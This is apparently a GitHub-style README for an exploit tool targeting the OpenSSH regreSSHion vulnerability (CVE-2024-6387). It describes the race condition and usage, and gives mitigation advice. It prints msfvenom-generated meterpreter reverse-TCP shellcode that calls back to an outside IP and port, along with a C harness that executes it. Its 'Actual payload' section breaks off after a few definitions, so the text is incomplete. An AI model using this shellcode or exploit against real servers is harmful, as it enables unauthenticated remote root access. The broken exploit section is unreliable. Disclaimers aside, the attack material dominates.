EXPLOIT CVE-2024-6387

💥 EXPLOIT CVE-2024-6387 (regreSSHion)

Tool for analysis, detection and controlled testing of the CVE-2024-6387 vulnerability in OpenSSH servers.

⚠️ Legal and Ethical Notice

This repository is exclusively educational.
Use it only on:

• Labs (HTB, TryHackMe)
• Personal environments
• Audits with explicit authorization

⚠️ Scanning or exploiting systems without permission is illegal.
This content is intended for defense and learning.

📑 Table of Contents

• 📖 General Description
• 🔍 Technical Details
• 📊 Affected Versions
• ⚙️ Usage
• 🛠️ Mitigation
• 📚 References
• 👤 Author
• 📢 Disclaimer

📖 General Description

CVE-2024-6387, known as regreSSHion, is a regression of a vulnerability previously fixed in 2006 (CVE-2006-5051).

It was reintroduced in OpenSSH 8.5p1 (2020) and allows:

• Remote code execution (RCE)
• Potential root access
• Unauthenticated attack
• No user interaction

There is also a related vulnerability:

• CVE-2024-6409 → affects the child process in environments with privilege separation

🔍 Technical Details

The vulnerability is based on a race condition in the sshd signal handler.

🧠 How it works

1. The server defines LoginGraceTime (default: 120s)
2. If the client does not authenticate:
   • The SIGALRM signal is triggered
3. The handler executes functions unsafe for signals, such as:
   • syslog()
   • malloc()
   • free()

💣 Impact

This can cause:

• Memory corruption (heap)
• Arbitrary code execution

⏱️ Exploitation difficulty

• Requires ~10,000 attempts (race condition)
• On 32-bit systems:
  • It can take 6–8 hours
• Factors:
  • ASLR
  • Network latency
  • System load

📊 Affected Versions

🛡️ OpenBSD is not vulnerable thanks to additional protections implemented since 2001.

⚙️ Usage

python3 exploit.py

🔎 OpenSSH server scanning

python3 scanner.py <IP> -p 22

```bash

# Generating a shellcode 
$ msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.56.100 LPORT=9999 -f c
[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 130 bytes
Final size of c file: 574 bytes

unsigned char buf[] =
"\x31\xff\x6a\x09\x58\x99\xb6\x10\x48\x89\xd6\x4d\x31\xc9"
"\x6a\x22\x41\x5a\x6a\x07\x5a\x0f\x05\x48\x85\xc0\x78\x51"
"\x6a\x0a\x41\x59\x50\x6a\x29\x58\x99\x6a\x02\x5f\x6a\x01"
"\x5e\x0f\x05\x48\x85\xc0\x78\x3b\x48\x97\x48\xb9\x02\x00"
"\x27\x0f\xc0\xa8\x38\x64\x51\x48\x89\xe6\x6a\x10\x5a\x6a"
"\x2a\x58\x0f\x05\x59\x48\x85\xc0\x79\x25\x49\xff\xc9\x74"
"\x18\x57\x6a\x23\x58\x6a\x00\x6a\x05\x48\x89\xe7\x48\x31"
"\xf6\x0f\x05\x59\x59\x5f\x48\x85\xc0\x79\xc7\x6a\x3c\x58"
"\x6a\x01\x5f\x0f\x05\x5e\x6a\x7e\x5a\x0f\x05\x48\x85\xc0"
"\x78\xed\xff\xe6";

Custom payload

#include <stdio.h>

// A placeholder of your custom payload 
const char shellcode[] =
"\x31\xff\x6a\x09\x58\x99\xb6\x10\x48\x89\xd6\x4d\x31\xc9"
"\x6a\x22\x41\x5a\x6a\x07\x5a\x0f\x05\x48\x85\xc0\x78\x51"
"\x6a\x0a\x41\x59\x50\x6a\x29\x58\x99\x6a\x02\x5f\x6a\x01"
"\x5e\x0f\x05\x48\x85\xc0\x78\x3b\x48\x97\x48\xb9\x02\x00"
"\x27\x0f\xc0\xa8\x38\x64\x51\x48\x89\xe6\x6a\x10\x5a\x6a"
"\x2a\x58\x0f\x05\x59\x48\x85\xc0\x79\x25\x49\xff\xc9\x74"
"\x18\x57\x6a\x23\x58\x6a\x00\x6a\x05\x48\x89\xe7\x48\x31"
"\xf6\x0f\x05\x59\x59\x5f\x48\x85\xc0\x79\xc7\x6a\x3c\x58"
"\x6a\x01\x5f\x0f\x05\x5e\x6a\x7e\x5a\x0f\x05\x48\x85\xc0"
"\x78\xed\xff\xe6";

int main() {
    // Execute shellcode
    printf("Executing shellcode...\n");
    void (*sc)() = (void(*)())shellcode;
    sc();

    return 0;
}

Actual payload

#include <stdio.h>
 

#define MAX_PACKET_SIZE (256 * 1024)
#define LOGIN_GRACE_TIME 120
#define MAX_STARTUPS 100
#define CHUNK_ALIGN(s) (((s) + 15) & ~15)

🛠️ Mitigation and Remediation The following steps are recommended urgently, especially for Internet-exposed assets:

Immediate Update: Upgrade to OpenSSH 9.8p1 or apply distribution-specific patches.

sshd Configuration: If immediate update is not feasible, set LoginGraceTime 0 in the /etc/ssh/sshd_config file. Warning: This prevents RCE, but exposes the server to a denial of service (DoS) due to connection exhaustion.

Access Control: Limit SSH access through network-based controls (Firewalls/VPN) and network segmentation to prevent lateral movement.

References

• https://www.zscaler.com/blogs/security-research/openssh-vulnerabilities-cve-2024-6387-cve-2024-6409-pose-significant
• https://www.exploit-db.com/exploits/52269
• https://www.offsec.com/blog/regresshion-exploit-cve-2024-6387/
• https://github.com/xaitax/CVE-2024-6387_Check

👤 Author

Kaleth Corcho
Systems Engineering · WolvesTI · Bogotá, Colombia

📢 Disclaimer

• Important Note:
  • This tool is developed and used solely for authorized penetration testing and red teaming exercises only. It is designed to identify and exploit vulnerabilities in OpenSSH's server, on glibc-based Linux systems. Unauthorized use of this tool is strictly prohibited, The owner of this tool is not responsible for any unauthorized access or malicious use of the tool.
• Legal Notice:
  • Unauthorized use of this tool on systems or networks without explicit authorization from the respective owners may violate applicable laws and regulations. Users are responsible for ensuring compliance with legal and ethical standards governing cybersecurity testing and assessments.